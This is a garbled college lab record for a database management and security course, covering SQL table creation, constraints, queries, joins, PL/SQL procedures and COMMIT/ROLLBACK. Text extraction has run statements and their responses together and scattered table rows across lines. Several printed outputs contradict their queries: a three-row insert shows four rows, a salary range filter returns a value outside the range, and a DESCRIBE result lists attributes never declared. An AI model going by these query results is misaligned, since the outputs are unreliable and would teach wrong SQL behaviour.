SRIRAM ENGINEERING COLLEGE

SCHOOL OF COMPUTER SCIENCE AND ENGINEERING

PROGRAM :B.E-Computer Science and Engineering(Cyber Security)

PRACTICAL RECORD

CB3401- DATABASE MANAGEMENT SYSTEM AND SECURITY

LABORATORY

NAME : ___________________________
REG.NO. : ___________________________

YEAR : ___________________________

SEM : ___________________________

SRIRAM ENGINEERING COLLEGE

Perumalpattu,Thiruvallur Taluk-602024

(Approved by AICTE, Affiliated to Anna University Chennai and Accredited

by NBA)
 BONAFIDE CERTIFICATE

This is to certify that this is a bonafide record of work

done by Ms/Mr. Reg .No:
of
II year / IV semester of the department of COMPUTER SCIENCE AND
ENGINEERING in DATABASE MANAGEMENT SYSTEM AND SECURIT
AND SECURITY Laboratory during the academic year 2024-2025.

Faculty-In-Charge School
Head

Submitted for the practical examination held on

________________________________________________________________________________________________

INTERNAL EXAMINER

EXTERNAL EXAMINER
Ex No:1 Create a database table, add constraints (primary key, unique, check,
Not null), insert rows, update and delete rows using SQL DDL and DML
Date:
commands.

Aim: To write SQL Statements to create table, add constraints, insert rows, update and delete
rows using Data Definition Language (DDL) and Data Manipulation Language(DML)

The syntax of CREATE TABLE in sql

CREATE TABLE table_name (
column1 datatype constraint,
column2 datatype constraint,
column3 datatype constraint,
...
columnN datatype constraint
);

Here's what each part of the syntax means:

 CREATE TABLE: This is the start of the SQL statement that creates a new table.
 table_name: This is the name you want to give to your new table.
 column1, column2, ..., columnN: These are the names of the columns you want to
create in your new table.
 datatype: This is the data type that each column will hold (e.g. VARCHAR, INT,
DATE, etc.).
 constraint: This is an optional parameter that lets you specify additional rules for
each column (e.g. PRIMARY KEY, NOT NULL, UNIQUE, etc.).

Note that you can have as many columns as you need in your table, and you can specify
constraints for each column as needed. Once you've defined all of the columns in your table,
you can then start inserting data into it.
Example to create an employee database table.

CREATE TABLE employees (

id INT PRIMARY KEY,
name VARCHAR(255) NOT NULL,
age INT,
department VARCHAR(255),
salary DECIMAL(10, 2),
hire_date DATE);
1
In this example, the employees table has six columns:

 id: A unique identifier for each employee (integer).

 name: The name of the employee (text, up to 255 characters).
 age: The age of the employee (integer).
 department: The department where the employee works (text, up to 255 characters).
 salary: The salary of the employee (decimal number with 10 digits and 2 decimal places).
 hire_date: The date the employee was hired (date format).

Note that the id column has been defined as the primary key for the table, which means that it
will be used to uniquely identify each row in the table.
Here's an example of adding constraints to the employees table we created earlier
CREATE TABLE employees (
id INT PRIMARY KEY,
name VARCHAR(255) NOT NULL,
age INT,
department VARCHAR(255),
salary DECIMAL(10, 2),
hire_date DATE,
CONSTRAINT salary_gt_zero CHECK (salary > 0)
);

Employees
id name age department salary hire_date
empty

Description of employees table

Here's an example of how to retrieve the description of the employees table, which will show the
data types, constraints, and other information about each column:
DESCRIBE employees;
The output
+ + + + + + +
| Field | Type | Null | Key | Default | Extra |
+ + + + + + +
| id | int(11) | NO | PRI | NULL | auto_increment |
| name | varchar(50) | NO | | NULL | |

2
| age | int(11) | NO | | NULL | |
| department | varchar(50) | NO | | NULL | |
| salary | decimal(10,2) | NO | | NULL | |
| hire_date | date | NO | | NULL | |

+------------+-------------+------+-----+---------+ +

Add constraints to the employee table

Here's an example of adding constraints to the employees table we created earlier:

CREATE TABLE employees (

id INT PRIMARY KEY,
name VARCHAR(255) NOT NULL,
age INT,
department VARCHAR(255),
salary DECIMAL(10, 2),
hire_date DATE,
CONSTRAINT salary_gt_zero CHECK (salary > 0)
);

Insert records and check all the constraints

The SQL INSERT Statement

It is possible to write the INSERT INTO statement in two ways:

1. Specify both the column names and the values to be inserted:

INSERT INTO table_name (column1, column2, column3, ...)
VALUES (value1, value2, value3, ...);

2. If you are adding values for all the columns of the table, you do not need to specify the
column names in the SQL query. However, make sure the order of the values is in the same
order as the columns in the table. Here, the INSERT INTO syntax would be as follows:
INSERT INTO table_name
VALUES (value1, value2, value3, ...);

An example of how to insert a record into the employees table:

INSERT INTO employees (id, name, age, department, salary, hire_date)
VALUES (1, 'John Doe', 30, 'Sales', 50000.00, '2020-01-01');

In this example, we're inserting a new record into the employees table with the following values:

3
  id: 1
 name: 'John Doe'
 age: 30
 department: 'Sales'
 salary: 50000.00
 hire_date: '2020-01-01'
id name age department salary hire_date
1 John Doe 30 Sales 50000 2020-01-01

Note that you need to specify the name of the table you want to insert the record into, as well as
the column names and values for each field you want to populate. You can insert multiple
records at once by specifying multiple sets of values separated by commas, like this:

INSERT INTO employees (id, name, age, department, salary, hire_date)

VALUES (1, 'John Doe', 30, 'Sales', 50000.00, '2020-01-01'),
(2, 'Jane Smith', 25, 'Marketing', 60000.00, '2021-03-01'),
(3, 'Bob Johnson', 40, 'Engineering', 80000.00, '2019-06-01');

Employees
id name age department salary hire_date
1 John Doe 30 Sales 50000 2020-01-01
2 John 30 Sales 50000 2020-01-01
3 Jane Smith 25 Marketing 60000 2021-03-01
4 Bob Johnson 40 Engineering 80000 2019-06-01

This would insert three records into the employees table at once.

The SQL UPDATE Statement

The UPDATE statement is used to modify the existing records in a table.

UPDATE Syntax
UPDATE table_name
SET column1 = value1, column2 = value2,
... WHERE condition;

4
An example of how to update a record in the employees table:
UPDATE employees
SET department = 'Human Resources', salary = 55000.00
WHERE id = 1;

Employees
id name age department salary hire_date
1 John Doe 30 Human Resources 55000 2020-01-01
2 John 30 Sales 50000 2020-01-01
3 Jane Smith 25 Marketing 60000 2021-03-01
4 Bob Johnson 40 Engineering 80000 2019-06-01

In this example, we're updating the record in the employees table with an id of 1. We're setting
the department field to 'Human Resources' and the salary field to 55000.00. We're using the
WHERE clause to specify that we only want to update the record where the id field is equal to
1.

The SQL DELETE Statement

The DELETE statement is used to delete existing records in a table.

DELETE Syntax
DELETE FROM table_name WHERE condition;

Note: Be careful when deleting records in a table! Notice the WHERE clause in the DELETE
statement. The WHERE clause specifies which record(s) should be deleted. If you omit the
WHERE clause, all records in the table will be deleted!
An example of how to delete a record from the employees table:
DELETE FROM employees
WHERE id = 1;

In this example, we're deleting the record from the employees table with an id of 1. We're using
the WHERE clause to specify that we only want to delete the record where the id field is equal
to 1.

5
Employees
id name age department salary hire_date
2 John 30 Sales 50000 2020-01-01
3 Jane Smith 25 Marketing 60000 2021-03-01
4 Bob Johnson 40 Engineering 80000 2019-06-01

Here are some examples of different types of SELECT queries you can use with the employees
table:

1. Basic SELECT statement:

SELECT * FROM employees;

This will return all columns and all rows in the employees table.

2. SELECT statement with WHERE clause:

SELECT * FROM employees WHERE department = 'Sales';

This will return all columns and all rows in the employees table where the department column
equals 'Sales'.

3. SELECT statement with ORDER BY clause:

SELECT * FROM employees ORDER BY hire_date;

This will return all columns and all rows in the employees table sorted in ascending order by
the hire_date column.

4. SELECT statement with GROUP BY clause:

SELECT department, AVG(salary) FROM employees GROUP BY department;

This will return the department column and the average salary for each department in the
employees table.

5. SELECT statement with JOIN clause:

SELECT employees.name, departments.name

FROM employees
JOIN departments ON employees.department_id = departments.id;

6
This will return the name column from the employees table and the name column from the
departments table where the department_id column in the employees table matches the id
column in the departments table. This is an example of an inner join.

Result:

Thus SQL DDL and DML queries to create a database table, add constraints (primary key,
unique, check, Not null), insert rows, update and delete rows has been written and
executed successfully
7
Ex No:2 Create a set of tables, add foreign key constraints and incorporate
Date: referential integrity.

AIM: To create a set of tables, add foreign key constraints and to incorporate referential integrity

DOMAIN INTEGRITY CONSTRAINT

NOT NULL CONSTRAINT

SQL> create table empl(ename varchar2(10) not null,eid number(3) not

null); Table created.

SQL> insert into empl

values('Ram',10); 1 row created.

SQL> insert into empl

values('Ramesh',11); 1 row created.

SQL> insert into empl values ('priya', null);

insert into empl values ('priya', null)
*
ERROR at line 1:
ORA-01400: cannot insert NULL into ("SYSTEM"."EMPL"."EID")

SQL> select *from empl;

ENAME EID

Ram 10
Ramesh 11

CHECK AS A COLUMN CONSTRAINT

SQL> create table depts (dname varchar2(30) not null, did number (20) not null
check(did<10000));

Table created.
8
9
SQL> insert into depts values ('sales',9867);

1 row created.

SQL> insert into depts

values('marketing',8754); 1 row created.

SQL> insert into depts

values('accounts',765432); insert into depts
values('accounts',765432)
*
ERROR at line 1:
ORA-02290: check constraint (SYSTEM.SYS_C008388) violated

SQL> select *from depts;

DNAME DID

sales 9867
marketing 8754

CHECK AS A TABLE CONSTRAINT

SQL> create table airports (aname varchar2(30) not null, aid number (20) not null, acity
varchar2(30) check (acity in ('chennai','hyderbad','bangalore')));

Table created.

SQL> insert into airports values ('Priya',100,'bangalore');

1 row created.

SQL> insert into airports values ('Shankar',101,'chennai');

1 row created.

SQL> insert into airports values ('RamG',101,'Delhi');

insert into airports values ('RamG',101,'Delhi')
10
*

11
ERROR at line 1:
ORA-02290: check constraint (SYSTEM.SYS_C008391) violated

SQL> select *from airports;

ANAME AID ACITY

Priya 100 bangalore

Shankar 101 chennai

ENTITY INTEGRITY CONSTRAINTS

UNIQUE AS A COLUMN CONSTRAINT

SQL> create table book (bname varchar2(30) not null, bid number(20) not null
unique); Table created.

SQL> insert into book values('fairy tales',1000);

1 row created.

SQL> insert into book values('bedtimes stories',1001);

1 row created.

SQL> insert into book

values('comics',1001); insert into book
values('comics',1001)
*
ERROR at line 1:
ORA-00001: unique constraint (SYSTEM.SYS_C008394) violated

SQL> select *from book;

BNAME BID

fairy tales 1000

bedtimes stories 1001
UNIQUE AS A TABLE CONSTRAINT
SQL> create table orders(oname varchar2(30) not null,oid number(20) not
12
null,unique(oname,oid));

13
Table created.

SQL> insert into orders

values('chair',2005); 1 row created.

SQL> insert into orders values('Table',2001);

1 row created.
SQL> insert into orders values('chair',2002);

1 row created.
SQL> insert into orders
values('chair',2005); insert into orders
values('chair',2005)
*
ERROR at line 1:
ORA-00001: unique constraint (SYSTEM.SYS_C008397)
violated SQL> select *from orders;
ONAME OID

chair 2005
Table 2001
chair 2002

PRIMARY KEY AS A COLUMN CONSTRAINT

SQL> create table custo (ename varchar2(30) not null,eid number(20) not null primary key);

Table created.

SQL>desccusto;
Name Null? Type

ENAME NOT NULL VARCHAR2(30)

EID NOT NULL NUMBER (20)

SQL> insert into custo

values('jones',506); 1 row created.

14
SQL> insert into custo

values('vijay',507); 1 row created.

SQL> insert into custo

values('ricky',507); insert into custo
values('ricky',507)
*
ERROR at line 1:
ORA-00001: unique constraint (SYSTEM.SYS_C008400) violated

SQL> insert into custo values('ricky',508);

1 row created.

SQL> select *from custo;

ENAME EID

jones 506
vijay 507
ricky 508

PRIMARY KEY AS A TABLE CONSTRAINT

SQL> create table branches(bname varchar2(30) not null, bid number(20) not null, primary
key(bname,bid));

Table created.

SQL> insert into branches values('anna nagar',1005);

1 row created.

SQL> insert into branches

values('adyar',1006); 1 row created.

SQL> insert into branches values('anna nagar',1007);

15
1 row created.

16
SQL> insert into branches values('anna nagar',1005);
insert into branches values('anna nagar',1005)
*
ERROR at line 1:
ORA-00001: unique constraint (SYSTEM.SYS_C008403) violated

SQL> select *from branches;

BNAME BID

anna nagar 1005

adyar 1006
annanagar 1007

REFERENTIAL INTEGRITY CONSTRAINTS

TO CREATE ‘DEPTS’ TABLE

SQL> create table depts(dcity varchar2(20), dno number(5) primary key);

Table created.

SQL> insert into depts

values('chennai',11); 1 row created.

SQL> insert into depts values('hyderabad',22);

1 row created.
TO CREATE ‘SEMP’ TABLE
SQL> create table semp(ename varchar2(20), dno number(5) references depts(dno));

Table created.

SQL> insert into semp

values('x',11); 1 row created.

SQL> insert into semp values('y',12);

17
insert into semp values('y',12)
*
ERROR at line 1:
ORA-02291: integrity constraint (SYSTEM.SYS_C008405) violated - parent key not
found

SQL> insert into semp

values('y',22); 1 row created.

SQL> select *from semp;

ENAME DNO

x 11
y 22

ALTER TABLE
SQL> alter table semp add(eddress varchar2(30));

Table altered.

SQL> update semp set eddress = '10 Gandhi Road' where dno = 11;

1 row updated.

SQL> update semp set eddress = '12 ABC Street' where dno =

22; 1 row updated.

SQL> select *from semp;

ENAME DNO EDDRESS

x 11 10 Gandhi Road
y 22 12 ABC Street

RESULT
Thus set of table were created, added foreign key constraints, incorporated referential
integrity and successfully executed.
18
Ex No:3 QUERY THE DATABASE TABLES USING DIFFERENT ‘WHERE’
CLAUSE CONDITION AND ALSO IMPLEMENT AGGREGATE
Date: FUNCTION

AIM
To Query the database tables using different ‘where’ clause condition and also Implement
aggregate function.

SQL> create table studs(sname varchar2(30), sid varchar2(10), sage number(10), sarea
varchar2(20), sdept varchar2(20));

Table created.

SQL>desc studs;
Name Null? Type

SNAME VARCHAR2(30)
SID VARCHAR2(10)
SAGE NUMBER(10)
SAREA VARCHAR2(20)
SDEPT VARCHAR2(20)

SQL> insert into studs values

('ashwin',101,19,'annanagar','aeronautical'); 1 row created.

SQL> insert into studs values ('bhavesh',102,18,'nungambakkam','marine');

1 row created.

SQL> insert into studs values

('pruthvik',103,20,'annanagar','aerospace'); 1 row created.

SQL> insert into studs values ('charith',104,20,'kilpauk','mechanical');

1 row created.
SQL> select *from studs;
SNAME SID SAGE SAREA SDEPT
ashwin 101 19 annanagar aeronautical

bhavesh 102 18 nungambakkam marine

pruthvik 103 20 annanagar Aerospace
charith 104 20 kilpauk mechanical

19
20
SQL> alter table studs add(spocket varchar2(20));

Table altered.

SQL> update studs set spocket = 750 where sid = 101;

1 row updated.

SQL> update studs set spocket = 500 where sid = 102;

1 row updated.

SQL> update studs set spocket = 250 where sid = 103;

1 row updated.

SQL> update studs set spocket = 100 where sid = 104;

1 row updated.

SQL> select *from studs;

SNAME SID SAGE SAREA SDEPT SPOCKET
ashwin 101 19 annanagar aeronautical 750

bhavesh 102 18 nungambakkam marine 500

pruthvik 103 20 annanagar Aerospace 250
charith 104 20 kilpauk mechanical 100

AGGREGATE FUNCTION
SQL> select avg(spocket) from
studs; AVG(SPOCKET)

400
SQL> select min(spocket) from studs;
MIN(SPOCKET)

100
SQL> select count(spocket) from
studs; COUNT(SPOCKET)

4
SQL> select count(*) from studs;
COUNT(*)

21
 4
HAVING CLAUSE
SQL> select count(spocket) result from studs where sage >= 19;

RESULT

SQL> select max(spocket) result from studs;

RESULT

750

SQL> select sum(spocket) result from studs;

RESULT

1600
NUMERIC FUNCTION
SQL>desc dual;
Name Null? Type

DUMMY VARCHAR2(1)

SQL> select abs(-20) result from dual;

RESULT

20

SQL> select sqrt(36) result from dual;

RESULT

SQL> select power(2,10) result from dual;

RESULT

1024

SQL> select round(15.3595,2) result from dual;

RESULT

15.36

22
 SPECIAL OPEARTORS
IN/NOT IN OPERATORS:
IN OPERATORE:
SQL> select sname,sid,sage from studs where sage in
(18,20); SNAME SAGE SID

bhavesh18 102
pruthvik20 103
charith 20 104

NOT IN OPERATORE:
SQL> select sname,sid,sage from studs where sage not

in(18,20); SNAME SID SAGE

ashwin 101 19

BETWEEN OPERATOR:
SQL> select *from studs where sage between 19 and 20;

SNAME SID SAGE SAREA SDEPT SPOCKET

ashwin 101 19 annanagar aeronautical
pruthvik 103 20 annanagar aerospace
charith 104 20 kilpauk mechanical

NOT BETWEEN OPERATOR:

SQL> select *from studs where sage not between 18 and 19;

SNAME SID SAGE SAREA SDEPT SPOCKET

pruthvik 103 20 annanagar aerospace
charith 104 20 kilpauk mechanical

ANY OPERATOR:
SQL> select *from studs where sage > any(select sage from studs where sid = 101);

SNAME SID SAGE SAREA SDEPT SPOCKET

pruthvik 103 20 annanagar aerospace
charith 104 20 kilpauk mechanical

SQL> select *from studs where sage < any(select sage from studs where sid = 101);

23
SNAME SID SAGE SAREA

SDEPT SPOCKET

bhavesh 102 18 nungambakkam

marine 500

LIKE OPERATORS:
SQL> select sname,sdept from studs where sdept like 'm%';

SNAME SDEPT

bhaveshmarine
charithmechanical

EXISTS OPERATORS:
SQL> create table std (sname varchar2(20),sage number(10),sid number(3));
Table created.

SQL> insert into std

values('Ram',20,101); 1 row created.

SQL> insert into std

values('Ramesh',19,102); 1 row created.

SQL> insert into std

values('Suresh',20,103); 1 row created.

SQL> insert into std

values('Sanjay',20,103); 1 row created.

SQL> select *from std;

SNAME SAGE SID

Ram 20 101
Ramesh 19 102
Suresh 20 103
Sanjay 20 103

24
SQL> select *from studs where exists (select *from std where studs.sid=std.sid);

SNAME SID SAGE SAREA

SDEPT SPOCKET

ashwin 101 19 annanagar

aeronautical

bhavesh 102 18 nungambakkam

marine

pruthvik 103 20 annanagar

aerospace

RESULT:
Thus we were implemented thedatabase tables using different ‘where’ clause condition
and also Implement aggregate function.
25
Ex No:4 Query the database tables and explore sub queries and simple join
Date: operations.

AIM:
To write SQL Queries to query the database tables and explore sub queries and simple
join operations.

NESTED QUERIES (SUB QUERIES):

TO CREATE SEMPLS’ TABLE

SQL> insert into sempls values(1,'bala','15/1/84','m','16th
july','lec',7000,1); 1 row created.
SQL> insert into sempls values(2,'kala','13/9/84','m','18th july','lec',10000,2);
1 row created.
SQL> insert into sempls values(3,'mala','17th june','f','19th june','lec',19000,1);
1 row created.
SQL> insert into sempls values(4,'nila','20th june','f','19th june','sr.lec',20000,1);
1 row created.
SQL> insert into sempls values(5,'vina','2nd jan','f','12th
july','prof.',50000,2); 1 row created.

SQL> select *from sempls;

ENO ENAME EDOB GENDER DOJ DESG BPAY DNO
16th
1
1 bala 15/1/84 m july lec 7000

18th
2 kala 13/9/84 f july lec 10000 2

3 mala 17/9/84 f 19th lec 19000 1

June
4 nila 20/6/84 f 19th Sr.lec 20000 1
June
5 Vina 02/01/84 f 12th Prof 50000 2
June

TO CREATE SDMENTS’ TABLE

SQL> create table sdments(dno number(10),dname varchar2(30));

Table created.

SQL> insert into sdments values(1,'cse');

26
1 row created.

SQL> insert into sdments

values(2,'it'); 1 row created.

SQL> select *from sdments;

DNO DNAME

1 cse
2 it

TO CREATE SPROS’ TABLE

SQL> create table spros (pno number(20) primary key, pname varchar2(30),dno
number(10));

Table created.

SQL> insert into spros

values(81,'aaa',1); 1 row created.

SQL> insert into spros

values(82,'bbb',1); 1 row created.

SQL> insert into spros

values(83,'ccc',1); 1 row created.

SQL> insert into spros

values(84,'ddd',2); 1 row created.

SQL> insert into spros

values(85,'eee',2); 1 row created.

SQL> select *from spros;

PNO PNAME DNO

81 aaa 1
82 bbb 1

27
 83 ccc 1
84 ddd 2
85 eee 2

QUERY 1
This querylists the details of employees who earn a basic pay that is less than the average basic
pay of the employees.
SQL> select *from sempls where bpay<(select avg(bpay) from sempls);

ENO ENAME EDOB GENDER DOJ DESG BPAY DNO

16th
1
1 bala 15/1/84 m july lec 7000

18th
2 kala 13/9/84 f july lec 10000 2

3 mala 17/9/84 f 19th lec 19000 1

June
4 nila 20/6/84 f 19th Sr.lec 20000 1
June

QUERY 2
This query lists the department number, number of employees in each department.
SQL> select dno,count(eno) from sempls group by dno;

DNO COUNT(ENO)

1 3
2 2

QUERY 3
This query list the details of employees who earn a basic pay in the range 10000 to 20000.
SQL> select *from sempls where bpay between 10000 and 20000;

ENO ENAME EDOB GENDER DOJ DESG BPAY DNO

18th
2 kala 13/9/84 f july lec 10000 2

3 mala 17/9/84 f 19th lec 19000 1

June
4 nila 20/6/84 f 19th Sr.lec 20000 1
June
5 Vina 02/01/84 f 12th Prof 50000 2
June
28
QUERY 4
This query lists the details of employees who have worked in projects controlled by department
name = cse.
SQL> select *from sempls,sdments,spros where sdments.dno=spros.dno and sdmen
ts.dno=sempls.dno and dname='cse';

E ENAM EDO GENDE DO DES BPA DN DN DNAM PN PNAM

N E B R J G Y O O E O E
O
16t 1 CSE 81 aaa
15/1/8 h 1
1 bala m lec 7000
4 july

19th 1 CSE 81 aaa

17/9/8 1900
3 mala f Jun lec 1
4 0
e
19th 1 CSE 81 aaa
20/6/8 Sr.le 2000
4 nila f Jun 1
4 c 0
e

SIMPLE JOIN

i) Equi-join:
SQL> create table dept(Deptno number(10),dname varchar2(20),LOC varchar2(20));
SQL> insert into dept values(1,'ACCOUNTING','NEW YORK');
1 row created.
SQL> insert into dept values(2,'RESEARCH','DALLAS');
1 row created.

SQL> insert into dept

values(3,'SALES','CHICAGO'); 1 row created.

SQL> insert into dept values(4,'OPERATION','BOSTON');

1 row created.
SQL> select *from dept;

DEPTNO DNAME LOC

1 ACCOUNTING NEW YORK

2 RESEARCH DALLAS
3 SALES CHICAGO
4 OPERATION BOSTON
29
 SQL> select *from emp;

EMPNO ENAME DEPTNO SAL

1 Mathi ASP 10000

1
2 Arjun ASP 15000
2
3 Gugan ASP 15000
3
4 Karthik Prof 30000
4
SQL> select *from emp,dept where emp.deptno = dept.deptno;
EMPNO ENAME DEPTNO DEPTNO DNAME LOC
Mathi 10000 ACCOUNTING NEW YORK

Arjun 15000 RESEARCH DALLAS

Gugan 15000 SALES CHICAGO
Karthik 30000 OPERATION BOSTON

Result: Thus SQL Queries to query the database tables and explore sub queries and simple join
operations.

30
 No:5
Date: Query the database tables and explore natural, equi and outer joins.

Aim: To write SQL queries to explore natural, equi and outer joins. NOT

EQUI – JOIN
SQL> select *from emp,dept where emp.deptno != dept.deptno;

EMPNO ENAME DEPTNO DEPTNO DNAME LOC

Arjun 15000 RESEARCH DALLAS
Gugan 15000 SALES CHICAGO
Karthik 30000 OPERATION BOSTON

EMPNO ENAME DEPTNO DEPTNO DNAME LOC

Mathi 10000 ACCOUNTING NEW YORK

Gugan 15000 SALES CHICAGO

Karthik 30000 OPERATION BOSTON

EMPNO ENAME DEPTNO DEPTNO DNAME LOC

Mathi 10000 ACCOUNTING NEW YORK

Arjun 15000 RESEARCH DALLAS

Karthik 30000 OPERATION BOSTON

EMPNO ENAME DEPTNO DEPTNO DNAME LOC

Mathi 10000 ACCOUNTING NEW YORK

Arjun 15000 RESEARCH DALLAS

Gugan 15000 SALES CHICAGO

INNER JOIN:
SQL> select *from emp,dept where emp.deptno=dept.deptno;

EMPNO ENAME JOB DEPTNO SAL DEPTNO

DNAME LOC

1 Mathi ASP 110000

ACCOUNTINGNEW YORK

2 Arjun ASP 2 15000

31
 RESEARCH DALLAS

3 Gugan ASP 3 15000

SALES CHICAGO
4 Karthik Prof 4 30000
OPERATION BOSTON

NATURAL JOIN:
SQL> select *from emp NATURAL JOIN dept;

DEPTNO EMPNO ENAME JOB SAL

DNAME LOC

1 1 Mathi ASP 10000

ACCOUNTING NEW YORK

2 2 Arjun ASP 15000

RESEARCH DALLAS

3 3 Gugan ASP 15000

SALES CHICAGO
4 Karthik Prof 30000
OPERATION BOSTON

SELF JOIN:
SQL> select stud.empno,emp.job,stud.sdept from stud,emp where stud.empno =

emp.empno; EMPNO JOB SDE

1 ASP CSE
2 ASP IT
3 ASP CSE
4 Prof AI0

OUTER JOIN:
LEFT OUTER JOIN
SQL> select *from emp LEFT OUTER JOIN dept ON (emp.deptno =
dept.deptno); EMPNO ENAME JOB DEPTNOSAL
DEPTNO

DNAME LOC

1 Mathi ASP 10000

ACCOUNTINGNEW YORK

32
 2 Arjun ASP 2 15000
RESEARCH DALLAS

3 Gugan ASP 3 15000

SALES CHICAGO
4 Karthik Prof 4 30000
OPERATION BOSTON

6 KabirASP 6 35000

5 Krish Prof 5 30000

6 rows selected.

RIGHT OUTER JOIN

SQL> select *from emp RIGHT OUTER JOIN dept ON (emp.deptno=dept.deptno);

EMPNO ENAME JOB DEPTNO SAL DEPTNO

DNAME LOC

1 Mathi ASP 110000

ACCOUNTING NEW
YORK
2 Arjun 215000
ASP
RESEARCH
DALLAS
3 Gug 15000
an ASP
SALES 30000
CHICAGO
4 Karthik Prof
OPERATION BOSTON

7
MARKETING AMERICA

8
RESEARCH RUSSIA
6 rows selected.

33
 FULL OUTER JOIN
SQL> select *from emp FULL OUTER JOIN dept ON

(emp.deptno=dept.deptno); EMPNO ENAME JOB DEPTNO

SAL DEPTNO

DNAME LOC

1 Mathi ASP 10000 1

ACCOUNTINGNEW YORK

2 Arjun ASP 15000 2

RESEARCH DALLAS

3 Gugan ASP 15000 3

SALES CHICAGO
4 Karthik Prof 30000
OPERATION BOSTON

7
MARKETING AMERICA

8
RESEARCH RUSSIA
6 KabirASP 6 35000

5 Krish Prof 5 30000

8 rows selected.

SQL> select *from emp;

EMPNO ENAME JOB DEPTNO SAL

Mathi ASP 1 10000

Arjun ASP 2 12000
Gugan ASP 20000
3
Karthik Prof 4 15000

Result: Thus SQL Queries to query the database tables and explore sub queries
34
and simple join operations has been written and executed successfully.

35
Ex No:6 FUNCTIONS AND STORED PROCEDURES
Date:

Aim:
To Write user defined functions and stored procedures in SQL.
Procedure:
At the schema level, subprogram is a standalone subprogram. It is created with the CREATE
PROCEDURE or the CREATE FUNCTION statement. It is stored in the database and can be
deleted with the DROP PROCEDURE or DROP FUNCTION statement.
A subprogram created inside a package is a packaged subprogram. It is stored in the database
and can be deleted only when the package is deleted with the DROP PACKAGE statement. We
will discuss packages in the chapter 'PL/SQL - Packages'.
PL/SQL subprograms are named PL/SQL blocks that can be invoked with a set of parameters.
PL/SQL provides two kinds of subprograms −
 Functions − These subprograms return a single value; mainly used to compute and
return a value.
 Procedures − These subprograms do not return a value directly; mainly used to
perform an action.

Function:

CREATE OR REPLACE FUNCTION totalemployee return INT as

total INT;
begin
SELECT count(*) into total from emp22;
Return total;
end;
/
Function created.
declare
a INT:=0;
Begin
a:=totalemployee();
dbms_output.put_line('Total employees are '||a);
end;
/
Total employees are 2
PL/SQL procedure successfully completed.

Procedure example:

Program 1:
set serveroutput on;
create or replace procedure p1 as
begin

36
 dbms_output.put_line('welcome');
end;
/
Procedure created.

execute p1;
welcome
PL/SQL procedure successfully completed.

Program 2:
create PROCEDURE findMin(x IN INT, y IN INT, z OUT INT) IS
BEGIN
IF x < y THEN
z:=
x;
ELSE
z:= y;
END IF;
END;
/
Procedure created.
declare
a INT;
b INT;
c INT;
begin
a:=23;
b:=4;
findMin(a,b,c);
dbms_output.put_line('Minimum value is:'||c);
end;
/
Minimum value is:4
PL/SQL procedure successfully completed.
Program 3:
set serveroutput on;
create table emp22(id INT,name varchar(20),designation varchar(20),salary INT);
Table created.
insert into emp22 values(3,'john','manager',100000);

1 row created.
insert into emp22 values(3,'jagan','hr',400000);
1 row created.

Result:
Thus the user defined functions and stored procedures in SQL are created and output is verified.
37
Ex No:7
Date: Execute complex transactions and realize DCL and TCL commands.

Aim:
To execute complex transactions and realize DCL and TCL commands.

Procedure:

DCL COMMANDS
The DCL language is used for controlling the access to the table and hence securing the
database. DCL is used to provide certain privileges to a particular user. Privileges are rights to
be allocated.The privilege commands are namely, Grant and Revoke.The various privileges that
can be granted or revoked are, Select Insert Delete Update References Execute All.

GRANT COMMAND: It is used to create users and grant access to the database. It requires
database administrator (DBA) privilege, except that a user can change their password. A user
can grant access to their database objects to other users.

REVOKE COMMAND: Using this command , the DBA can revoke the granted database
privileges from the user.

TCL COMMAND

COMMIT: command is used to save the Records.

ROLL BACK: command is used to undo the Records.
SAVE POINT command is used to undo the Records in a particular transaction.

The syntax for the COMMIT command is as follows.

COMMIT;
Example
Consider the CUSTOMERS table having the following records −
+ + + + + +
| ID | NAME | AGE | ADDRESS | SALARY |
+ + + + + +
| 1 | Ramesh | 32 | Ahmedabad | 2000.00 |
| 2 | Khilan | 25 | Delhi | 1500.00 |
| 3 | kaushik | 23 | Kota | 2000.00 |
| 4 | Chaitali | 25 | Mumbai | 6500.00 |
| 5 | Hardik | 27 | Bhopal | 8500.00 |
| 6 | Komal | 22 | MP | 4500.00 |
| 7 | Muffy | 24 | Indore | 10000.00 |
+ + + + + +

38
Following is an example which would delete those records from the table which have age = 25
and then COMMIT the changes in the database.
SQL> DELETE FROM CUSTOMERS
WHERE AGE = 25;
SQL> COMMIT;
Output
Thus, two rows from the table would be deleted and the SELECT statement would produce the
following result.
+ + + + + +
| ID | NAME | AGE | ADDRESS | SALARY |
+ + + + + +
| 1 | Ramesh | 32 | Ahmedabad | 2000.00 |
| 3 | kaushik | 23 | Kota | 2000.00 |
| 5 | Hardik | 27 | Bhopal | 8500.00 |
| 6 | Komal | 22 | MP | 4500.00 |
| 7 | Muffy | 24 | Indore | 10000.00 |
+ + + + + +

The ROLLBACK Command

The ROLLBACK command is the transactional command used to undo transactions that have
not already been saved to the database. This command can only be used to undo transactions
since the last COMMIT or ROLLBACK command was issued.
The syntax for a ROLLBACK command is as follows −
ROLLBACK;
Example
Consider the CUSTOMERS table having the following records −
+ + + + + +
| ID | NAME | AGE | ADDRESS | SALARY |
+ + + + + +
| 1 | Ramesh | 32 | Ahmedabad | 2000.00 |
| 2 | Khilan | 25 | Delhi | 1500.00 |
| 3 | kaushik | 23 | Kota | 2000.00 |
| 4 | Chaitali | 25 | Mumbai | 6500.00 |
| 5 | Hardik | 27 | Bhopal | 8500.00 |
| 6 | Komal | 22 | MP | 4500.00 |
| 7 | Muffy | 24 | Indore | 10000.00 |
+ + + + + +

39
Following is an example, which would delete those records from the table which have the age =
25 and then ROLLBACK the changes in the database.
SQL> DELETE FROM CUSTOMERS
WHERE AGE = 25;
SQL> ROLLBACK;
Output
Thus, the delete operation would not impact the table and the SELECT statement would produce
the following result.
+ + + + + +
| ID | NAME | AGE | ADDRESS | SALARY |
+ + + + + +
| 1 | Ramesh | 32 | Ahmedabad | 2000.00 |
| 2 | Khilan | 25 | Delhi | 1500.00 |
| 3 | kaushik | 23 | Kota | 2000.00 |
| 4 | Chaitali | 25 | Mumbai | 6500.00 |
| 5 | Hardik | 27 | Bhopal | 8500.00 |
| 6 | Komal | 22 | MP | 4500.00 |
| 7 | Muffy | 24 | Indore | 10000.00 |
+ + + + + +
The SAVEPOINT Command
A SAVEPOINT is a point in a transaction when you can roll the transaction back to a certain
point without rolling back the entire transaction.
The syntax for a SAVEPOINT command is as shown below.
SAVEPOINT SAVEPOINT_NAME;
This command serves only in the creation of a SAVEPOINT among all the transactional
statements. The ROLLBACK command is used to undo a group of transactions.
The syntax for rolling back to a SAVEPOINT is as shown below.
